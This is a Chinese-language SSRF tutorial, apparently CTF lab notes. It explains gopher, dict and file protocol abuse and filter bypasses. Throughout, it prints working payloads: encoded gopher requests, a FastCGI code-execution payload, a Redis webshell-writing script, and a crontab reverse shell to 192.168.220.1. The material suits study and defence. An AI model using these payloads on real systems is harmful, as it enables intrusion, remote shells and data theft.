# SSRF (服务端请求伪造)
服务器端请求伪造,由攻击者构造形成由服务端发起请求的一个安全漏洞,也就是通过服务器攻击者可以访问到与服务相连的内网
# 描述:
目标应用程序可能具有从 url 导入数据,将数据发布到 url,篡改 url 读取数据的功能。
攻击者通过提供完全不同的 URL 或通过操纵 URL 的构建方式 (路径遍历等)。服务器段代码获取被操纵的 URL 并尝试将数据读取到 URL, 通过选择目标 URL,攻击者可能能够从未直接暴露在互联网上的服务中读取数据:
-
云服务器元数据
-
- 元数据:描述数据的数据 (数据集的存储位置,数据集的名称。。。)
-
数据库 HTTP 接口 — NoSQL 数据库(如 MongoDB)在 HTTP 端口上提供 REST 接口。如果预计数据库仅供内部使用,则可能会禁用身份验证,攻击者可以提取数据
-
- REST:用 URL 定位资源,用 HTTP 动词(
GET,POST,DELETE,PUT
)描述操作。
- REST:用 URL 定位资源,用 HTTP 动词(
-
内部 REST 接口
-
文件 ----file:[//](file:// 读取本地文件) [读取本地文件](file:// 读取本地文件)
攻击者还是可以使用此功能将不受信任的数据导入代码中,这些代码中只希望从受信任的数据来源中读取数据,从而绕过输入验证
# 漏洞代码实例:
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
$url=$_POST['url']; | |
$ch=curl_init($url); // 初始化一个 curl 会话 | |
curl_setopt($ch, CURLOPT_HEADER, 0); // 设置选项值 | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
$result=curl_exec($ch); // 执行 cURL 会话 | |
curl_close($ch); // 关闭 curl 会话,释放所有资源 | |
echo ($result); | |
?> |
接受的 url参数
利用 curl_exec
执行访问 url
- 形成漏洞的原因:
服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制
攻击利用:
- 可以对外网,服务器所在内网,本地进行端口扫描获取一些服务的 banner 信息
- 攻击运行在内网或本地的应用程序 (如溢出);
- 对内网的 web 应用进行
指纹识别
,通过访问默认文件
进行实现攻击内外网的web应用
,主要是使用get参数
就可以实现的攻击利用file协议
读取本地文件等 - 可能存在攻击的地方:
- 分享:通过
url地址
分享网页内容 - 转码服务
- 在线翻译图片加载与下载:通过
url加载
和下载图片 - 图片文章收藏功能
- 未公开的 api 实现以及其他使用 URL 的功能
- 从 URL 关键字中寻找
share,wapurl,link,srcsource,target,displaysourceURL,imageURl,domain
/etc/password
# ssrf 的协议
类型;
file:///
dict://
sftp://
ldap://
tftp://
gopher://
# file://
file:///etc/password |
尝试从文件系统中获取文件 (读取本机文件)
# gopher://
信息查找系统,它将 internet
上的文件组织成某种索引
gopher 协议支持发出 GET、POST 请求:可以先截获 get 请求包和 post 请求包,在构成符合 gopher 协议的请求。gopher 协议是 ssrf 利用中最强大的协议
限制:
–wite-curlwrappers:运用 curl 工具打开 url 流
curl 使用 curl --version 查看版本以及支持的协议
# Gopher 协议格式:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
gopher
默认端口是 70- 如果发起 post 请求,回车换行需要使用 %0d%0a,如果多个参数,参数之间的 & 也需要进行 URL 编码
# Gopher 发送请求
-
# 发送数据:
使用
Gopher
协议发送一个请求,环境为:nc 起一个监听,curl
发送gopher
请求
1-1. nc 监听 2333 端口
nc -lp 2333 |
1-2. 使用 curl
协议发送 http
请求
curl gopher://yourip:2333/abcd |
接受到的字符串短一个‘a’
curl gopher://yourip:2333/_abcd |
- 可以看到,需要在传送的字符串前面任意加一个字符串
那么,怎么发送 GET
请求?需要以下三步
-
构造 HTTP 数据包
-
URL 编码、替换回车换行为 %0d%0a
-
发送 gopher 协议
-
# 发送
GET
请求
2-1. 首先准备代码接收 GET 请求
<?php | |
highlight_file(__FILE__); | |
echo "Hello ".$_GET["name"]."\n" | |
?> |
2-2. 构造 GET 型数据请求包
GET /?name=chenluo HTTP/1.1 | |
Host: xx.xxx.xxxx.xx:666 |
URL 编码:
GET%20%2F%3Fname%3Dchenluo%20HTTP%2F1.1%0AHost%3A%20xx.xxx.xxx.xxx%3A666 |
构造请求:
curl gopher://xx.xxx.xxx.xx:666/_GET%20%2F%3Fname%3Dchenluo%20HTTP%2F1.1%0AHost%3A%2039.105.134.199%3A666%0d%0A |
注意:
- 问号(?)需要转码为 URL 编码,也就是 %3f
- 回车换行要变为 %0d%0a, 但如果直接用工具转,可能只会有 %0a
- 在 HTTP 包的最后要加 %0d%0a,代表消息结束(具体可研究 HTTP 包结束)
必须格式:
-
注意:
-
- 在使用 Gopher 协议发送 POST 请求时,
host,content-Type和content-Length
请求头时必不可少的,但是在 GET 请求中可以没有。 content-length
的值必须与post数据
对应相等
- 在使用 Gopher 协议发送 POST 请求时,
-
POST / HTTP/1.1
Host: 39.105.134.199:666
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
url=chenluo
-
url 编码:
-
curl gopher://39.105.134.199:666/_POST%20%2F%20HTTP%2F1.1%0AHost%3A%2039.105.134.199%3A666%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2012%0A%0Aname%3Dchenluo%0A
ssrf 攻击流程:
# ssrf 端口扫描:
ctfhub:
<ip 地址>:< 端口号 >,抓包,针对端口号进行爆破
?url=127.0.0.1:8000 |
# ssrf 发送 Post 请求
ctfhub 的 post 请求:
curl ,利用 gopher 协议,发送 post 请求:
- 构造数据包:
POST /flag.php HTTP/1.1 | |
Host: 127.0.0.1:80 | |
Content-Type: application/x-www-form-urlencoded | |
Content-Length: 36 | |
key=86d5defb626699906d937f2777700925 |
进行两次 url 编码,php 接收参数会解码一次,curl 又会解码
?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D86d5defb626699906d937f2777700925` |
注意:
* 第一次编码之后%0A需要替换成%0D%0A
* 这里要加上80端口号
# ssrf 文件上传:
- 访问 [file:///var/www/html/flag.php](file:///var/www/html/flag.php),添加提交按钮
- 捕获 post 数据包:
POST /flag.php HTTP/1.1 | |
Host: 127.0.0.1 | |
Content-Length: 292 | |
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY | |
------WebKitFormBoundary1lYApMMA3NDrr2iY | |
Content-Disposition: form-data; name="file"; filename="test.txt" | |
Content-Type: text/plain | |
SSRF Upload | |
------WebKitFormBoundary1lYApMMA3NDrr2iY | |
Content-Disposition: form-data; name="submit" | |
提交 | |
------WebKitFormBoundary1lYApMMA3NDrr2iY-- |
进行第一次 url 编码,将 %0A 换成 %0D%0A:
?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Length%3A%20292%0D%0AContent-Type%3A%20multipart/form-data%3B%20boundary%3D----WebKitFormBoundary1lYApMMA3NDrr2iY%0D%0A%0D%0A------WebKitFormBoundary1lYApMMA3NDrr2iY%0D%0AContent-Disposition%3A%20form-data%3B%20name%3D%22file%22%3B%20filename%3D%22test.txt%22%0D%0AContent-Type%3A%20text/plain%0D%0A%0D%0ASSRF%20Upload%0D%0A------WebKitFormBoundary1lYApMMA3NDrr2iY%0D%0AContent-Disposition%3A%20form-data%3B%20name%3D%22submit%22%0D%0A%0D%0A%E6%8F%90%E4%BA%A4%0D%0A------WebKitFormBoundary1lYApMMA3NDrr2iY-- |
再进行 url 编码
?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--` |
# ssrf-fastcgi 协议:
cgi+fastcgi 讲解
fastcgi 利用
- CGI 是一种协议,规定了服务器交给
语言解析器
的数据形式 - 对于请求静态页面服务器会直接获取到对应的页面,返回到客户的浏览器
- 对于向
.php
这样的动态页面,服务器在把数据反回答浏览器的时候可能会处理一下要请求的页面比如GET请求,POST请求
,处理的过程就是交给fast-cgi程序
来处理的也称为语言解析器 - php-cgi 应用程序 解析 php 语言,
php-fpm
是php-fastcgi
的管理器,管理对象是php-cgi进程
# 利用原理:
cgi
处理端口是暴露在公网 9000端口
的,我们可以通过构造自己的 cgi数据报
打到 9000 端口, php-cgi
会处理数据报中 script_filename
指定的 php 文件,由于我们没有上传特定的 php 文件,只能利用系统自带的 php 文件,修改其中配置 ( auto_prepend_file
), 在执行系统自带 php文件
的同时执行 auto_prepend_file
所指定的文件 (无法上传文件,我们用 php://input
代替),这也就执行了 POST
的内容
本地监听 9000 端口,因为 fastcgi
默认监听
nc -lvp 9000 > 1.txt` |
新开一个命令行,执行下面命令:
python fpm.py -c "<?php var_dump(shell_exec('ls /'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php |
利用上面的 url脚本
进行编码之后再编码,加上 gopher
协议
gopher://127.0.0.1:9000/_%2501%2501%2542%2549%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2542%2549%2501%25e7%2500%2500%250e%2502%2543%254f%254e%2554%2545%254e%2554%255f%254c%2545%254e%2547%2554%2548%2533%2537%250c%2510%2543%254f%254e%2554%2545%254e%2554%255f%2554%2559%2550%2545%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2574%2565%2578%2574%250b%2504%2552%2545%254d%254f%2554%2545%255f%2550%254f%2552%2554%2539%2539%2538%2535%250b%2509%2553%2545%2552%2556%2545%2552%255f%254e%2541%254d%2545%256c%256f%2563%2561%256c%2568%256f%2573%2574%2511%250b%2547%2541%2554%2545%2557%2541%2559%255f%2549%254e%2554%2545%2552%2546%2541%2543%2545%2546%2561%2573%2574%2543%2547%2549%252f%2531%252e%2530%250f%250e%2553%2545%2552%2556%2545%2552%255f%2553%254f%2546%2554%2557%2541%2552%2545%2570%2568%2570%252f%2566%2563%2567%2569%2563%256c%2569%2565%256e%2574%250b%2509%2552%2545%254d%254f%2554%2545%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250f%251b%2553%2543%2552%2549%2550%2554%255f%2546%2549%254c%2545%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%250b%251b%2553%2543%2552%2549%2550%2554%255f%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2509%251f%2550%2548%2550%255f%2556%2541%254c%2555%2545%2561%2575%2574%256f%255f%2570%2572%2565%2570%2565%256e%2564%255f%2566%2569%256c%2565%2520%253d%2520%2570%2568%2570%253a%252f%252f%2569%256e%2570%2575%2574%250e%2504%2552%2545%2551%2555%2545%2553%2554%255f%254d%2545%2554%2548%254f%2544%2550%254f%2553%2554%250b%2502%2553%2545%2552%2556%2545%2552%255f%2550%254f%2552%2554%2538%2530%250f%2508%2553%2545%2552%2556%2545%2552%255f%2550%2552%254f%2554%254f%2543%254f%254c%2548%2554%2554%2550%252f%2531%252e%2531%250c%2500%2551%2555%2545%2552%2559%255f%2553%2554%2552%2549%254e%2547%250f%2516%2550%2548%2550%255f%2541%2544%254d%2549%254e%255f%2556%2541%254c%2555%2545%2561%256c%256c%256f%2577%255f%2575%2572%256c%255f%2569%256e%2563%256c%2575%2564%2565%2520%253d%2520%254f%256e%250d%2501%2544%254f%2543%2555%254d%2545%254e%2554%255f%2552%254f%254f%2554%252f%250b%2509%2553%2545%2552%2556%2545%2552%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250b%251b%2552%2545%2551%2555%2545%2553%2554%255f%2555%2552%2549%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2501%2504%2542%2549%2500%2500%2500%2500%2501%2505%2542%2549%2500%2525%2500%2500%253c%253f%2570%2568%2570%2520%2576%2561%2572%255f%2564%2575%256d%2570%2528%2573%2568%2565%256c%256c%255f%2565%2578%2565%2563%2528%2527%256c%2573%2520%252f%2527%2529%2529%253b%253f%253e%2501%2505%2542%2549%2500%2500%2500%2500` |
fpm.py
url.py
# ssrf-redis 协议
redis 服务,tcpdump 监听端口数据,抓包查看,发现相关数据流:
开启 redis
服务
redis-server |
开启 redis
客户端:
redis-cli |
得到当前配置路径:
config get dir #这里的目录之前被修改过 |
得到当前数据存放文件:
config get dbfilename #这里的文件之前被修改过 |
可以再开一个 shell,看一下这个文件存放的内容
现在,在连接 redis
的 shell
中,输入命令,断开连接
set php "<?php phpinfo();?>" | |
save |
再次查看 /var/www/html/shell4.php
,
通过修改 redis文件配置
,使得数据存放位置以及数据存放的文件名可控制
surf-redis
from urllib import parse | |
protocol = "gopher://" | |
ip = "127.0.0.1" | |
port = "6379" | |
shell = "\r\n<?php eval($_POST[1])?>\r\n" | |
filename = "shell4.php" | |
path = "/var/www/html" | |
passwd = "" | |
cmd = ["flushall", | |
"set 1 {}".format(shell.replace(" ","aaa")),#设置命令 | |
"config set dir {}".format(path),#设置目录 | |
"config set dbfilename {}".format(filename),#设置文件名 | |
"save"#保存到指定的文件 | |
] | |
if passwd: | |
cmd.insert(0,"AUTH {}".format(passwd))#需要密码的时候插入密码 | |
payload = protocol+ip+":"+port+"/_" | |
def redis_format(arr):#将命令数据转换成符合协议的格式 | |
CRLF ="\r\n"#设置回车换行 | |
redis_arr = arr.split(" ")#以空格为间隔,分成列表 | |
cmd="" | |
cmd+="*"+str(len(redis_arr))#回复数组前面加 * 以及回复数组的长度 | |
for x in redis_arr:#遍历数组 | |
cmd+=CRLF+"$"+str(len((x.replace("aaa"," "))))+CRLF+x.replace("aaa"," ")#每个命令和数据之间都有回撤和换行,replace 主要是为了替换一句话中的空格,因为一句话不能被分成多个数据 | |
cmd+=CRLF#最后也是回车和换行 | |
return cmd | |
if __name__=="__main__": | |
for x in cmd: | |
payload +=parse.quote(redis_format(x)) | |
print(payload) |
构成 redis数据包
,直接用 curl
发过去,就会在自己设置的目录和文件中放入一句话
# dict://
- 判断是否开启某些服务
curl dict://192.168.220.16:6379/ |
证明开启了 redis服务
- 利用
dict协议
执行命令,获取变量
dict
协议利用redis
反弹shell
本地监听 6666 端口:
nc -l 6666 |
利用 dict 执行命令:
curl dict://192.168.220.16:6379/set:mars:"\n\n* * * * * root bash -i >& /dev/tcp/192.168.220.1/6666 0>&1\n\n" | |
curl dict://192.168.220.16:6379/config:set:dir:/etc/ | |
curl dict://192.168.220.16:6379/config:set:dbfilename:crontab | |
curl dict://192.168.220.16:6379/bgsave |
因为特殊字符的原因无法写入到目标的 redis
中,被空格所分割导致
#!/usr/bin/python | |
# -*- coding: UTF-8 -*- | |
from urllib import parse | |
import urllib,binascii | |
#url = "http://192.168.220.1/ssrf/base/curl_exec.php?url=" | |
target = "dict://192.168.220.16:6379/" | |
cmds = ['set:mars:\\\\"\\n* * * * * root bash -i >& /dev/tcp/192.168.220.1/6666 0>&1\\n\\\\"', | |
"config:set:dir:/etc/", | |
"config:set:dbfilename:crontab", | |
"bgsave"] | |
for cmd in cmds: | |
cmd_encoder = "" | |
for single_char in cmd: | |
# 先转为 ASCII | |
cmd_encoder += hex(ord(single_char)).replace("0x","") | |
cmd_encoder = binascii.a2b_hex(cmd_encoder) | |
cmd_encoder = parse.quote(cmd_encoder,'utf-8') | |
print(cmd_encoder) | |
#payload = url + target + cmd_encoder | |
#print payload |
执行的时候报错
查看 日志
报错
显然提示没有打开文件 /etc/crontab
的权限,如果是 centos 系统应该可以成功
# ssrf 中的绕过:
# URLBypass:
-
最常见的要求是 url 中必须包含某些固定的字符,但是我们访问的地址又没有这些字符:
-
- 绕过方式
- ssh
http://user:passwd@url/index.php |
user
可以改成所要求的字符,之后加上 @
后面加上目标的 url 地址
# 数字 IPBypass:
-
不让使用
127.0.0.1
, 可以将其转换成 16 进制和 10 进制 8 进制 -
- 16 进制:0x7f.00.00.01
- 8 进制:0177.000.000.001
- 10 进制:127.0.0.1
# 302 跳转绕过:
- 利用 **`http://127.0.0.1/flag.php 生成短网址 (可以跳转到对应的原网址)**
?url=surl-2.cn/0nPI #http://127.0.0.1/flag.php |
# DNS 重绑定
浅谈 DNS 重绑定
DNS 服务器解析到域名对应的 IP 之后,返回给浏览器,经过很短的时间,该域名对应的 IP 地址被替换,当浏览器再次请求解析域名的时候,如果本地域名服务器还记得该域名对应的 IP 就会用之前解析过的 IP。如果不记得,当他再次寻求域名解析服务器的时候,就会得到新的解析结果也就是新的 IP 地址。本地服务器对该域名解析记录的记忆是服务器可控制的,也就是域名持有者可以控制
DNS 重绑定测试网站:
可以让一个域名绑定两个网址
# 具体步骤
- 攻击者控制恶意的 DNS 服务器来回复域的查询,如 rebind.network
- 攻击者通过一些方式诱导受害者加载 http://rebind.network
- 用户打开链接,浏览器就会发出 DNS 请求查找 rebind.network 的 IP 地址
- 恶意 DNS 服务器收到受害者的请求,并使用真实 IP 地址进行响应,并将 TTL 值设置为 1 秒,让受害者的机器缓存很快失效
- 从 http://rebind.network 加载的网页包含恶意的 js 代码,构造恶意的请求到 http://rebind.network/index, 而受害者的浏览器便在执行恶意请求
- 一开始的恶意请求当然是发到了攻击者的服务器上,但是随着 TTL 时间结束,攻击者就可以让 http://rebind.network 绑定到别的 IP, 如果能捕获受害者的一些放在内网的应用 IP 地址,就可以针对这个内网应用构造出对应的恶意请求,然后浏览器执行的恶意请求就发送到了内网应用,达到了攻击的效果